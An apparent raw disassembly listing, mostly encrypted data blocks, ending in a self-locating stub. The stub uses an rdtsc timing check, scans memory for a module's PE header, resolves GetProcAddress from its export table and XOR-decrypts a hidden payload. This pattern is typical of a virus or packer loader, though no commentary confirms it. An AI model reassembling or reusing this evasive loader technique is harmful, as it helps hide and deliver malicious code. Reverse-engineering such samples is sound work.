		dd 5F85556h, 2AF7A27Ah,	8B48B7Eh, 0B7229E97h, 8C35BC7Fh
		dd 6C840C23h, 961F72Fh,	5B7A46EFh, 0C62F92AEh, 16360F96h
		dd 8E97C421h, 741134B0h, 0BDD19CD8h, 0D7FE4273h, 0C1816381h
		dd 0DD21765Eh, 45794230h, 7923EBCBh, 8CE51987h,	56742D1Ch
		dd 0FD88518Fh, 41A8E721h, 0BAE18D34h, 7AD7804Bh, 4D5B7640h
		dd 30F9C5C7h, 7028271Ah, 33702232h, 0BA8B13BDh,	67676656h
		dd 0A1740CE9h, 0B1F39F7h, 1D0ADC11h, 0E04975B7h, 0B7C21C8h
		dd 0F614DE47h, 9DE831EFh, 0C80A4782h, 0DA26B7A8h, 0ECF92D6Fh
		dd 55693440h, 6F66DADBh, 135B70F9h, 0D3AB5082h,	0E648991Dh
		dd 52358F55h, 0B964072Fh, 156F5CF5h, 5400104Ch,	0D813316Bh
		dd 422ADDC5h, 0B824BE84h, 59E0BA26h, 0CC6ED76Ch, 0A8FA7973h
		dd 0E39E261Fh, 4EA8B0E4h, 9B43BCF8h, 30DCB476h,	9F42EB8Ch
		dd 356ED896h, 1C782278h, 0E55E5542h, 0FF439EE7h, 31ED5F2Ah
		dd 57960B39h, 4905F167h, 0B049B571h, 0B712D89Dh, 0F7262A62h
		dd 0B11B63AAh, 4BDD52EAh, 7F90F685h, 2B096993h,	27FF3063h
		dd 0FD911A0Dh, 0D3AFEC17h, 0A9A7B639h, 7F9898C3h, 55A562D5h
		dd 65CF34FFh, 4F1D81B2h, 0F25C3EE6h, 0A6B27A9Ch, 85A82866h
		dd 50EDAE48h, 0C17DB83Ch, 0FB7A66CFh, 50F620E5h, 0C282BEF9h
		dd 0DC161A5Eh, 0A3A2375Bh, 3148935Bh, 47D91756h, 0DEBB0C69h
		dd 29E21C3Fh, 82DF1F6Ah, 8F0F8E2Eh, 0C90C34C1h,	95DA38D7h
		dd 0A97AFDDCh, 0F725D42Ah, 0F21D601h, 5BBA1616h, 2D7A33A5h
		dd 1019A566h, 9C0B0CC1h, 43029703h, 6D28589Dh, 118E00C6h
		dd 0F8288943h, 400C56CFh, 60857C75h, 0BF961A0Ch, 0C3EC2B6Eh
		dd 37F73F4h, 55D83874h,	1811AD6Eh, 2880F98Eh, 3B1AA69Fh
		dd 6644C0A5h, 78EC9A0Bh, 0A965A054h, 0E3724EE7h, 0B58F0CF5h
		dd 37722946h, 0E4438382h, 8BDACFBBh, 0B4E02056h, 0DF06CE64h
		dd 0E1BC7481h, 8EAB353Dh, 5D288A31h, 78B03E2Bh,	1B8CAC26h
		dd 7BC7CF44h, 0ED906047h, 0D05964A6h, 603841C6h, 83D1EE57h
		dd 0B79C185Dh, 0EE7AC784h, 1146C99h, 215E979Fh,	0AABEEE5Dh
		dd 81CD0234h, 40DCEB1Eh, 5609955Dh, 0FD882A91h,	0EF855DA8h
		dd 136001B0h, 3353E65Fh, 0C197A899h, 0FCAD0C84h, 0EB70251h
		dd 330B0A22h, 4D48BBBDh, 814D96D3h, 0B14D8E6Ch,	0C1FEB6FFh
		dd 0A5DCAFDh, 0E1ED62D4h, 2E744BBEh, 0D8C45733h, 369EC85Eh
		dd 0FE8AB774h, 0F1275C89h, 414E86AFh, 7CD23533h, 1AE6DACBh
		dd 64FDECFBh, 0F17AD1F8h, 557A7E3h, 0E8417F31h,	553C8CF9h
		dd 881529A4h, 6AB8664Ch, 2EBD4C9Eh, 6DB9DF0Ah, 0E4426E8Eh
		dd 3E9A5F1Fh, 126ED2E3h
		dd 6D5814EDh, 0A42AD9F0h, 1A4ABECDh, 0F07E1CC4h, 0A877C244h
		dd 0E83D45CCh, 9D4A5CF8h, 3ED60993h, 64C3B0E1h,	0B5A4F3Bh
		dd 3560A0D6h, 0DA81F29Fh, 899CCD85h, 0B5A21E17h, 584F6459h
		dd 7DE4BC7h, 30E49C59h,	9912CC1Ah, 6DEF0F78h, 50D9E7D0h
		dd 0E0B8C146h, 3526ED7h, 271C9CDDh, 0A8836E1Bh,	7CF504F6h
		dd 2E5DE9E0h, 0D5D079B1h, 0FFD66A4Fh, 0BF048315h, 0EBFD418Ah
		dd 0B5E628A4h, 6726AA08h, 69EF38CDh, 9CB19EBAh,	0D80F784Eh
		dd 0CA714504h, 798CDD95h, 0A3B20E2Fh, 70484A48h, 0F7CE5BD1h
		dd 0C99DF869h, 0B4F54B1Ah, 5C38C92Dh, 0E1930062h, 94C24F8h
		dd 56685D33h, 1D68B193h, 0BAC55AA8h, 0C01423E6h, 193F8C85h
		dd 6FD0207Ch, 101B66B3h, 9C4A8B8Eh, 430297F9h, 69E8DC10h
		dd 9FDEC3F3h, 6A32A179h, 0BCC0576Fh, 0EA7DA01Dh, 1BAA83F4h
		dd 924E6C47h, 1747096Eh, 0ADD83874h, 93EE5263h,	0BB4DCC7Eh
		dd 0C16F1EE9h, 0CE5631A7h, 70BA0653h, 13B4942Eh, 6AD98ED4h
		dd 1DCAF040h, 0B31B5513h, 41B4DC10h, 0FECAF63Fh, 6B087742h
		dd 8509B597h, 51BCBB0Ah, 0B62854BCh, 5D28F1D1h,	2DB2B84Ah
		dd 4E98D431h, 5AC22010h, 811587C5h, 6FA68A22h, 2DBCC431h
		dd 0AB166E44h, 9494BD57h, 7C984263h, 4398D100h,	0DC81968Fh
		dd 45794430h, 7F56EACBh, 196561A1h, 0AF073CA7h,	57987834h
		dd 1E2A17D4h, 5144BC29h, 70AFE64Fh, 20FAA8D5h, 0CF160306h
		dd 9F218F3Bh, 0D42ABF1Fh, 5D713C38h, 775FE2D3h,	117678E9h
		dd 0B62F3CD6h, 35A0702Ch, 0BABC89CFh, 49DC8D3Ch, 0CB847531h
		dd 180FF8ECh, 0C71E0B07h, 0F1245E99h, 0D38E84DAh, 7C2D15CFh
		dd 0C400DACBh, 0DBD4B978h, 532A2E17h, 46A85834h, 2E3A07C4h
		dd 41DCAC59h, 1A9ED65Fh, 6AFC209Dh, 3B93DD74h, 0E92C4498h
		dd 66427EB3h, 37E018C6h, 7757AC66h, 0DC6F56F9h,	821EA3F8h
		dd 0EDB05035h, 1EB37A3Bh, 0D95F1C37h, 5A8C6B6Dh, 266EF86Dh
		dd 5CB4E2A0h, 0C88C2ABCh, 75EF7CA7h, 0F560B0ECh, 0FA7CC90Fh
		dd 899CCD7Fh, 3655B571h, 0DDA871A9h, 7CE6243h, 0F165243Fh
		dd 9F7AC51Bh, 0FBB5FA8Dh, 0C9260AA2h, 5C8A4B1Ah, 3425745h
		dd 0D6C77076h, 0D2893D0Ch, 8184D58Dh, 0EBAA161Fh, 85704E41h
		dd 0C6AAEF49h, 0C1469471h, 0ACFD45E2h, 0F4E6A700h, 0B76C822Eh
		dd 55C1CBB9h, 0FB5A76F6h, 51F090E5h, 0E56E0AF7h, 0CD216DBAh
		dd 48B21E65h, 3629D038h, 9D369DACh, 0D60B7392h,	5B3332FAh
		dd 7420E095h, 2F3D7FABh, 0B5C93E81h, 59624EEEh,	0A51E8706h
		dd 0E2847280h, 71B4E565h, 9A0AAD49h, 4155C7EFh,	0EFE64A62h
		dd 6CFC8671h, 0C79759A8h, 6D28C8A4h, 0E23E06B3h, 0CB949CD3h
		dd 0FB53285Ah, 96250AF5h, 0FE96BA32h, 0D1CAC4C1h, 23697F51h
		dd 0DD0C34Dh, 996B5823h, 0BB046C40h, 29E2378h, 6530D0B5h
		dd 9F33FAB3h, 51DF9CB7h, 0DA0FEBEDh, 0A6EE78EDh, 3F75A3A3h
		dd 0E4BE8499h, 8BDACF42h, 4F3FC8FFh, 5A01B594h,	91C4D05h
		dd 33329E97h, 784DBD1Ch, 7FCD4AA5h, 8819B9D3h, 701C46FFh
		dd 2C3AB036h, 3FE40AA6h, 0DD393331h, 83D2FE7Eh,	0D8E8385Dh
		dd 3C89F36Ch, 8AC0A92h,	568F9C87h, 9540D08Ch, 0DA5CE92Fh
		dd 0A97C2D9Ch, 6EAB9591h, 0FD882A9Dh, 822453A9h, 51D4FEA9h
		dd 236A4D29h, 9C8C9567h, 27AC3A6Bh, 6E39EE8h, 1AB60B50h
		dd 4D4BB8ADh, 5B2AE3D3h, 98F0891Eh, 0CB8A36EFh,	0D5D56415h
		dd 26320FDCh, 49CCB451h, 7997DD57h, 6201D685h, 3D45DA7Ch
		dd 0F1CCA366h, 0F3C57955h, 0BAAF4A84h, 56E25F2Ch, 997C04E1h
		dd 0CBE62607h, 50291ADh, 0E841781Eh, 785029BEh,	6BEAD64Fh
		dd 0BF741075h, 3A3C2D3Bh, 0E93C6DDDh, 1E589E76h, 3D7CA044h
		dd 5E1277E1h, 7544FCE9h, 0BF5EA60Ch, 1C4FB88Eh,	6E7685C4h
		dd 0C02B4CFBh, 0DB943198h, 28021882h, 0B70E1BEFh, 7DCE7CFh
		dd 0FCB58946h, 25592450h, 5F76EAEBh, 2C88001h, 3B2F95D0h
		dd 0F6B8586Fh, 0FB8FFB82h, 0B4EEC4E9h, 5BEAFF13h, 7CAF182Fh
		dd 2AD1E564h, 0D92C7D35h, 3126EC7h, 950E94A9h, 0D27401A3h
		dd 8184D575h, 13CC1CF4h, 70CAA0CAh, 0FFC65337h,	0BF043F07h
		dd 0A4FD418Eh, 6D216C08h, 0A72E11A3h, 5A1B48B8h, 5BDFED00h
		dd 0E7080A7h, 0B3CE3333h, 0FC6B2D22h, 0A3A237A3h, 0CD48383Dh
		dd 72536C26h, 21E4B515h, 0CB4ABEF5h, 8D53E36Ch,	0DBFB0E26h
		dd 84C24E5h, 78D25637h,	7B7E6B46h, 214E83BBh, 0FE1CBAB2h
		dd 9B026EAFh, 24D23045h, 44BEF13Dh, 1F894DF4h, 832316E1h
		dd 0AE9873FBh, 6E15EA19h, 44A3D336h, 0EB7A6F5Bh, 958080F5h
		dd 0F01DB07Fh, 2B1851AAh, 5BE9FE27h, 552460C4h,	1811AB1Ch
		dd 0F9AEBFC9h, 0C4E55F8Ah, 5CA05528h, 0AB1FAABh, 0B94C1D55h
		dd 0C3724EE7h, 26DF7E88h, 2E75FAEBh, 4A9C9FA2h,	1ADDC7h
		dd 0A5A288D8h, 57634B6Bh, 80C64C3h, 176615AEh, 358541A9h
		dd 0C4EE2D3h, 0A1269064h, 53FF6DEFh, 0F2906047h, 3F9F1E9Eh
		dd 59BC8431h, 74D09A47h, 0A92AB385h, 54A91473h,	1156A834h
		dd 0AF25969Fh, 5540C16Ch, 7F56E723h, 0FB295FE1h, 0E0CE7BB9h
		dd 0B1DC463Fh, 0B251926Fh, 51D4824Bh, 390263C6h, 2EA31075h
		dd 17050623h, 7234176Eh, 3ADABAE4h, 0C6B74748h,	671C5A46h
		dd 0E37757E9h, 170FBFF3h, 0F6A07057h, 9A3F8269h, 49DCF6A1h
		dd 8CCAADDCh, 9DF888DEh, 33FCDA83h, 4CAFA366h, 1B2AC417h
		dd 0B1B65893h, 0FAED2524h, 996C4649h, 0C09A648Ch, 23835457h
		dd 18BB6BB0h, 41D5CCC1h, 316ED95Fh, 96000074h, 0AF54963Eh
		dd 919957A1h, 0BF426EF5h, 0B85740F1h, 676ED241h, 0BA80BA74h
		dd 0ABD85E8Ah, 0B5B65325h, 0F032D9D3h, 816127AEh, 63F2DE25h
		dd 0CA33F308h, 0AC9D2D9Fh, 0A344CA8h, 0B3DF4FB3h, 3A60B097h
		dd 5F77C76Eh, 0F109F701h, 0D5A20E55h, 0F84770ACh, 732F74Ch
		dd 716F9C59h, 6FB9ED6Dh, 717618D5h, 121FE564h, 0D92C0609h
		dd 3B6EBC8h, 0A86B98DDh, 576E804Fh, 0C3EC690Ah,	0AB21160Fh
		dd 0DACC071Eh, 0FFD6A7C9h, 21ABAF61h, 53C63D78h, 0BD9BE88Dh
		dd 0B36911A1h, 933CB9BAh, 0AB0866DFh, 67A8251Ah, 0DA79BAEBh
		dd 798CDA23h, 0AC728B7Dh, 0CDC88FB8h, 0F7428B53h, 0DEC88C69h
		dd 4B9E3370h, 4BA0E095h, 14B305BEh, 424C34C1h, 0B0495F91h
		dd 0E890D8D9h, 7E714DF0h, 61E664A4h, 98CD732Fh,	0D5928CC0h
		dd 9763595Bh, 90FC9433h, 53504A02h, 5628539Dh, 877CDE36h
		dd 0FA5C5EC9h, 0FB28B65Ah, 28E9F2F5h, 4F96AA0Bh, 7644E353h
		dd 1EC2FE37h, 7C53D403h, 0A5ED5048h, 0F5814769h, 4E1AB6CDh
		dd 75F453A9h, 0CBC9CB44h, 523D38F5h, 66FD8DFCh,	0D983A65h
		dd 4F2B2973h, 89B4DC6Bh, 743502ACh, 0B5E08934h,	0D183CA6Bh
		dd 7B0033AAh, 3B65A59Eh, 0A2044AA2h, 88070D3Ch,	4E9AAE5Ch
		dd 0FF46CD10h, 2C14D784h, 0D0599A1Bh, 1B572BCEh, 0E3F6A4C6h
		dd 0E308185Dh, 0DB758240h, 0C591EBADh, 0A22A86DDh, 45020030h
		dd 0F7EF67CBh, 0AA6C14C8h, 0C3C04672h, 583D0E0Dh, 2468B96Dh
		dd 13EFA87Bh, 809C2043h, 0F671D78Dh, 0CA063A7Bh, 701C6491h
		dd 7D6D72E1h, 0D8B7EF7Eh, 774EDCADh, 0AE6BE428h, 0CB8B2C7Ah
		dd 9FF43015h, 0E049E003h, 59F26AD4h, 2C225B57h,	9CFD8062h
		dd 4BE63283h, 19DBA37Dh, 1B3A86BEh, 324D596h, 3C03B6B2h
		dd 0EB096794h, 82EB5A6Eh, 0A11DA71Dh, 0E8BE9271h, 51EA9EDCh
		dd 3F6F5F5Fh, 7D001037h, 0BF162A92h, 887831F2h,	640D1BDCh
		dd 4E2ACDA3h, 371EBB8Bh
		dd 0F8F2958Bh, 0DEFD4363h, 0B8580725h, 0E73985D3h, 39DCA442h
		dd 6A0AB34h, 0FF678C0Eh, 0DE6C72F6h, 845825DFh,	5C4A13D8h
		dd 0CA889F3Dh, 5F642214h, 0ECDFF401h, 0D8C17F55h, 0AFE83858h
		dd 6BA7042Ah, 3181FB3Ch, 0B3D82E38h, 9DF80F7Ah,	0FC261A9Bh
		dd 0B85407D4h, 4D3709A9h, 4B01ECB2h, 3E0C928Ah,	0E4F8857Fh
		dd 0FCAA7378h, 2A27BFDDh, 72823AB4h, 39D104E4h,	366D477h
		dd 824FE9E7h, 0B710F836h, 0F578B5B9h, 0C57CF330h, 0E55A90F5h
		dd 0ECE0776h, 29CCE401h, 3307F177h, 0A5C82800h,	0F7DA6252h
		dd 76F5E63Dh, 95E2380h,	1F74E085h, 0AC95DAFh, 0C95C7695h
		dd 0C769A54h, 0D3AC458h, 251B4D03h, 2EA4CC27h, 0D30F8BECh
		dd 93D02004h, 0D180CFA4h, 0E17F8461h, 0F896A178h, 0E428D89Dh
		dd 877C5A36h, 975446C9h, 0D5C8C320h, 0D50580E5h, 3F322E04h
		dd 0A987D421h, 90A8AE67h, 0D5D9421Dh, 27EE5263h, 5391832Fh
		dd 0B81AB6B1h, 0E13F2F5Dh, 8F46FCBCh, 0FB00A158h, 6EFF4EF7h
		dd 0D983A9Dh, 75F6379Eh, 33E5CC39h, 749AF655h, 0A5DE4EC0h
		dd 200EC96Bh, 0CD9F08Eh, 33489E97h, 1F647D52h, 12B1F2D3h
		dd 0B17422B3h, 0D485BE6Ch, 595CE81h, 5F23131Bh,	6ABCD473h
		dd 0D211ED8Eh, 0A982490Dh, 8B4BBD22h, 0FE147CCBh, 3B14D00Ah
		dd 5A8045B5h, 7F53704Fh, 20A527E1h, 0C3C04A72h,	0ACC9390Dh
		dd 28AE8D4Bh, 0C43BEC39h, 7BCAD8C1h, 21FFD0E0h,	0CF063F28h
		dd 0BB64E118h, 9BF18EB7h, 4D48CA56h, 8066A958h,	0B14D886Ch
		dd 0CB8A36FFh, 0F6A61535h, 0FA6E2AEh, 4A1E8741h, 84132996h
		dd 197D818Ch, 7F0E22C1h, 0F1247516h, 1806CD24h,	5540D840h
		dd 6CB4E9DBh, 6E8DF330h, 0BF17A7E6h, 2EA8485Fh,	11F5353Ch
		dd 0CCE14FB0h, 0DCE5CE0Ch, 45031436h, 97D741C2h, 0D3AD84A2h
		dd 7D2B09E8h, 0BE45DC34h, 156FDE99h, 0ADCF7719h, 0B88E6484h
		dd 0A13D4067h, 0D6318573h, 0BCE76572h, 63E28C17h, 0A95C73BEh
		dd 38DE1183h, 0E134F42Bh, 0C4C1B5BFh, 88EDAB3Eh, 5F668BA3h
		dd 0BA537FFDh, 0D29EB2DEh, 0A7844E5Fh, 27E27034h, 45B8A0F3h
		dd 2FD4FA83h, 0F010CC58h, 24EFF973h, 817979B0h,	8266E82h
		dd 7F2BCBE0h, 64FBCDF3h, 0A6B13F6h, 0E2FD2B1Ch,	51CF037Bh
		dd 29956Dh, 7CAFC35Ch, 4886B139h, 40E71772h, 951D51F4h
		dd 2E54B8B6h, 0AB679930h, 2A3FC4B6h, 0B079BF7Fh, 9147D7EEh
		dd 5C4DF00Ah, 37202848h, 1F219DAFh, 0DE0B7248h,	0B5E63270h
		dd 0A7131F6Ah, 9F361C43h, 362FDCC1h, 0F38AA128h, 407888EDh
		dd 739D5F82h, 8B4DDC09h, 0FFBA062Ch, 705B02BAh,	0EFF61823h
		dd 7FDE0D15h, 195F9006h, 6ECB5D92h, 0C9B502B3h,	0A78A2FF5h
		dd 0AE3A6D5Eh, 165305FAh, 7C61AA0Bh, 698CD437h,	5547F137h
		dd 4BD8284Eh, 0E8EC0E20h, 1107C0FDh, 33592D8Fh,	0C5907098h
		dd 21C2F51Bh, 845C24D2h, 0C3526EC7h, 0E2BFCF2h,	0BC15A213h
		dd 61B4CCE1h, 639BE0DCh, 4A1FCFDDh, 9D4AC768h, 0C70F7491h
		dd 3362FF14h, 5D7CA92Eh, 78B0692Bh, 0CBE61326h
		db 0ECh, 46h
word_62549E	dw 587Ah		; DATA XREF: sub_5992DA+4392o
		dd 15D2B0A0h, 6D2D9A1Bh, 49F64F39h, 87A12F6Ch, 0A803D86Eh
		dd 9D778A70h, 8191E599h, 282A86DDh, 55F8CCFFh, 2E56EBCBh
		dd 568AAA09h, 51170E08h, 4C987834h, 0A41BA203h,	3BC4AC00h
		dd 2313186Fh, 118041Dh,	4AF9C59Dh, 3B886B43h, 0B6036C74h
		dd 4D588139h, 0F2A90738h, 0A164356Dh, 0CA8A36FFh, 70574261h
		dd 1FA6B3AFh, 49CCB442h, 0D663D222h, 9DE831E9h,	3CF1CD7Ch
		dd 7CA55672h, 1B2ABF2Bh, 4D50B0C5h, 6F66DCB3h, 9F145DF1h
		dd 9B922E07h, 124E0EF5h, 6B3B08CCh, 0C7D4BC70h,	5296FCDBh
		dd 10880065h, 0BF0613F7h, 6CDBB443h, 13524733h,	3D58A8C5h
		dd 0DAEEDB96h, 9194C587h, 4C5F520Eh, 0F589D4A0h, 0FC67A3Bh
		dd 0B9C7D059h, 73CBB2DAh, 3D7CFD7Dh, 8E639F13h,	95314CB9h
		dd 75F7F618h, 3060B0ECh, 0DA81549Fh, 899CCD85h,	0A3A21E17h
		dd 60384159h, 7DE4B3Fh,	0B26DEB5Bh, 4BB802CAh, 23F8F085h
		dd 47D9E569h, 26C3B9F2h, 3501F2Fh, 51F513DDh, 547ED2B1h
		dd 91D66C94h, 57F1FE1Fh, 51CFBFCAh, 0FFD6681Ah,	6B9421EAh
		dd 0D89BE67h, 95C6EBB1h, 58D1EFFFh, 0D37FBEB6h,	0B1DB66CFh
		dd 2570F0C1h, 1D78311Bh, 6DE6E747h, 54A27424h, 0DDF1BCB8h
		dd 0F7DE6253h, 0A8E0F949h, 5B487EC2h, 0E5956D95h, 14361A92h
		dd 0D95C5C4Ch, 0A4C6ADD7h, 1D72EC54h, 473B3F03h, 82A4CC09h
		dd 78BAB78Ah, 3274C347h, 0FFDFDEDEh, 19FC8471h,	0ED96A1A7h
		dd 9228D89Dh, 46D62AC0h, 4AABD324h, 0FB28EE4Ah,	1A5205F5h
		dd 3F96328Fh, 11195F21h, 18C2EE75h, 0F7593807h,	0E7EE3247h
		dd 194E5799h, 0F229A4FCh, 5E24A2A6h, 9F569236h,	0D1D1AFD1h
		dd 91725EF7h, 29B4F3ABh, 27F60790h, 0E2B4CC39h,	8BCA9E98h
		dd 0CF6B2055h, 0D7BC4B63h, 0FE8B8382h, 71AE1B1Ch, 0D8CFC8BDh
		dd 875ECB47h, 0B1641C99h, 0C38D449Bh, 2C9C0206h, 0EB13132Bh
		dd 0D2BCD473h, 0B3D3C634h, 946C9DAAh, 0D7BE4263h, 3606C89h
		dd 0C37B8E68h, 0AABF3C9Eh, 7C5A0192h, 0DB473C92h, 20D46FFBh
		dd 70C137A9h, 37970296h, 99793539h, 88DAF60Dh, 0AAAE4FC1h
		dd 488BA84Ah, 0F91C65AEh, 1AB01B9Dh, 4B3DB8ADh,	212630BAh
		dd 28121EDDh, 0EC62DFAFh, 0AF5F9FCFh, 1CBAC0A0h, 0CC3BA40Bh
		dd 73F2E7D3h, 0BDF8086Dh, 0B20B730Eh, 35A9D58Ah, 183A96EDh
		dd 5540D840h, 7C159DBh,	997C04F1h, 4ABA6D2Ch, 0EDA80B9Ah
		dd 573B7533h, 40D4BC76h, 1FEAD65Fh, 9D43C772h, 1FB68A2Bh
		dd 0D0A8D156h, 13427EA7h, 3A2CB8CDh, 90353AB1h,	1ADE0306h
		dd 0ABD8E282h, 6CB5B325h, 22D5270h, 7B1C29DAh, 6111CE77h
		dd 0C683FB96h, 339BD5BBh, 0E2345C90h, 7F4A76BFh, 0FDE52BC1h
		dd 5C76DAA9h, 99CE448Ch, 1F271D17h, 0DCB8586Fh,	1784F94Bh
		dd 739819D2h, 11C3C67Fh, 0C13838Dh, 0ED2712D1h,	815FC7A1h
		dd 87D7E5C7h, 4568889Fh, 577EEB63h, 0D89CAE08h,	21FA551Eh
		dd 0C5F9C2A0h, 7B539D4Bh, 29EC8458h, 2722BE77h,	1595EB8Bh
		dd 112E02B3h, 55C1CBB9h, 0FB5A76F6h, 507092E5h,	0B84044EFh
		dd 69A56094h, 0A7B20E27h, 47CE4D3Dh, 0E7E7E1E6h, 0A5717B69h
		dd 4B0AA646h, 20E0D5h, 9D3180A0h, 1F4E9E03h, 0FA89A935h
		dd 0DF4A8F67h, 0A558B0A9h, 1576EFEEh, 14DE24A4h, 78536847h
		dd 0EFF61807h, 0A6788B71h, 0BCED517Dh, 7D6AA028h, 25ABFDB3h
		dd 3E543CF7h, 0FB28226Ah, 33157FF5h, 0B296BA35h, 79EEB4ACh
		dd 0FB577337h, 0ECD8380Fh, 18EE3831h, 14620CCh,	9D8F598Fh
		dd 9A30C09Bh, 9F04A60Eh, 9FC9DBD1h, 6E725ED9h, 1DC93048h
		dd 6F2B5D13h, 37B4DC6Bh, 0B56863C0h, 10632045h,	0DFE60837h
		dd 9E4B781h, 6E229E97h,	0B0B9C9C7h, 875ECA4Ch, 706BEC81h
		dd 0CB6FC66Ah, 0C650F505h, 0DF595298h, 0D939053Eh, 40D2FE52h
		dd 87E80860h, 0B1E23773h, 0D301008h, 385FE7F3h,	0AA8428D5h
		dd 7A231534h, 5696A109h, 2C50D608h, 0D3F997F2h,	71D6BFDCh
		dd 747CAE0Dh, 1BDAE64Fh, 5A0FB58Dh, 443F4F84h, 742C40D5h
		dd 3373C612h, 451833BDh, 716463B5h, 0F7517FEBh,	348A3697h
		dd 9F64EB15h, 0E0E6D82Bh, 59F246D4h, 7B265D57h,	0A2A436ECh
		dd 0C47B6EBCh, 19209A1Ah, 0E4C57CCDh, 0BAAFCF2Dh, 0D7A5BB24h
		dd 997C0485h, 0EC2A9FECh, 5A8581Dh, 17BE822Eh, 0F9D48C8Bh
		dd 6BEAD66Fh, 9500109Dh, 0BF32E88Bh, 0E92DD119h, 134196B7h
		dd 119AA8CDh, 433A5FE3h, 12AA31F5h, 0A2E626F7h,	0E5B0B845h
		dd 5B4D7A3Bh, 0B2819475h, 51F4F7Dh, 6508E844h, 48E1C274h
		dd 0E1308EC8h, 0D4B73B8h, 0F215A3D7h, 63966768h, 119415FFh
		dd 0FF8B0100h, 7E8F5h, 0E8F90000h, 6Dh,	0FF6467F8h, 67000036h
		dd 268964h, 89DB8900h, 50E8C0h,	0F8F50000h, 81F9DB87h
		dd 0EFA036EBh, 2A1ABFFFh, 87F50000h, 0E183DBh, 0F1C181h
		dd 53900000h, 386D289h,	8990C089h, 3166F5D2h, 0C08990C8h
		dd 890386FCh, 8343F9C0h, 99001EFh, 5BE375FFh, 8F64DB87h
		dd 5, 90FC5900h, 0E3FFDB87h, 0F85B00EBh, 89E3FFFCh, 24448BC0h
		dd 0B8808F10h, 22Fh dup(0)
		dd 7C816FD7h, 361h dup(0)
		db 2 dup(0)
word_627056	dw 0			; DATA XREF: sub_597CE3+38o
		dd 0FEAh dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+32C7h], ebx
		mov	ecx, [eax+297Fh]
		mov	ebx, [esp+4]
		and	ecx, 10000000h
		jz	short loc_62B04C
		pop	ecx
		mov	[eax+32CBh], esi
		mov	cl, [eax+2983h]
		mov	[eax+32CFh], edi
		cmp	cl, 0E8h
		jz	short loc_62B041
		mov	ebx, [eax+2985h]
		jmp	short loc_62B04A
; ---------------------------------------------------------------------------


loc_62B041:				; CODE XREF: sdfs____:0062B037j
		add	ebx, [eax+2984h]
		mov	ebx, [ebx+2]


loc_62B04A:				; CODE XREF: sdfs____:0062B03Fj
		mov	ebx, [ebx]


loc_62B04C:				; CODE XREF: sdfs____:0062B01Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 115FF1h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+103990h]
		mov	ecx, 48h
		rep movsb
		call	sub_62B125
		mov	ecx, eax
		call	sub_62B125
		sub	eax, ecx
		jz	short loc_62B0F7
		cmp	eax, 100h
		ja	short loc_62B0F7
		and	ebx, 0FFFFF000h


loc_62B08B:				; CODE XREF: sdfs____:0062B09Aj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_62B09C


loc_62B094:				; CODE XREF: sdfs____:0062B0A9j
		sub	ebx, 100h
		jnz	short loc_62B08B


loc_62B09C:				; CODE XREF: sdfs____:0062B092j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_62B094
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_62B0B6:				; CODE XREF: sdfs____:loc_62B0CAj
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_62B0CA
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_62B0CF


loc_62B0CA:				; CODE XREF: sdfs____:0062B0BFj
		loop	loc_62B0B6
		pop	ecx
		jmp	short loc_62B0F7
; ---------------------------------------------------------------------------


loc_62B0CF:				; CODE XREF: sdfs____:0062B0C8j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+10113Fh]
		mov	dx, [eax-17h]
		call	sub_62B12A
		jmp	short loc_62B13F
; ---------------------------------------------------------------------------


loc_62B0F7:				; CODE XREF: sdfs____:0062B07Cj
					; sdfs____:0062B083j ...
		mov	eax, [ebp+103984h]
		and	eax, 10000000h
		jz	short loc_62B123
		mov	edi, [esp+4]
		lea	esi, [ebp+103988h]
		lodsd
		mov	ebx, [ebp+1042CCh]
		stosd
		movsb
		mov	edi, [ebp+1042D4h]
		mov	esi, [ebp+1042D0h]


loc_62B123:				; CODE XREF: sdfs____:0062B102j
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_62B125	proc near		; CODE XREF: sdfs____:0062B06Ep
					; sdfs____:0062B075p
		rdtsc
		retn
sub_62B125	endp

; ---------------------------------------------------------------------------
		db 0E9h, 3Dh

; =============== S U B	R O U T	I N E =======================================



sub_62B12A	proc near		; CODE XREF: sdfs____:0062B0F0p
		push	ebx
		mov	ecx, 2845h
		mov	ebx, edx


loc_62B132:				; CODE XREF: sub_62B12A+11j
		xor	[eax], dl
		sub	dl, bl
		xchg	bl, bh
		inc	eax
		xchg	dl, dh
		loop	loc_62B132
		pop	ebx
		retn
sub_62B12A	endp

; ---------------------------------------------------------------------------


loc_62B13F:				; CODE XREF: sdfs____:0062B0F5j
		add	[ecx], esi
; ---------------------------------------------------------------------------
		db 2 dup(0), 17h
		dd 36E94280h, 1D6D142Ch, 0A1F7E6ABh, 46CE4706h,	0EDA0C05Eh
		dd 2B29FC61h, 2BE942E7h, 0E2441108h, 0DBD3E8B6h, 0B03C8D0Dh
		dd 944B2C00h, 3F5816AFh, 6DCE5BE3h, 0EF31C391h,	0BDA9D35Bh
		dd 981292D8h, 0DAB50E51h, 7DE9B57Fh, 69F27A11h,	0AF789B76h
		dd 59F106BEh, 0F47B0B9Ah, 179FDD17h, 0E29040F3h, 14937193h
		dd 439CACDAh, 0E137EDE2h, 0BDD09E5h, 0FE28394h,	0F64A64E1h
		dd 0A92A8740h, 0C2504572h, 2ADEE93h, 265CB98Ah,	0E2524A9Fh
		dd 9FCDF8B0h, 18DDA69Bh, 0EBF4C1A5h, 91CF81A7h,	47F02038h
		dd 0A9F398E4h, 0A2FC9C2Bh, 0EFB00F36h, 4A85E855h, 2D9E0337h
		dd 0E6998D62h, 898A4CE9h, 3AC880ECh, 0BAA6CEE0h, 2D526996h
		dd 0A9732AFFh, 0BBBC576Ah, 16BE86FBh, 8B2EA0C6h, 0F9A22104h
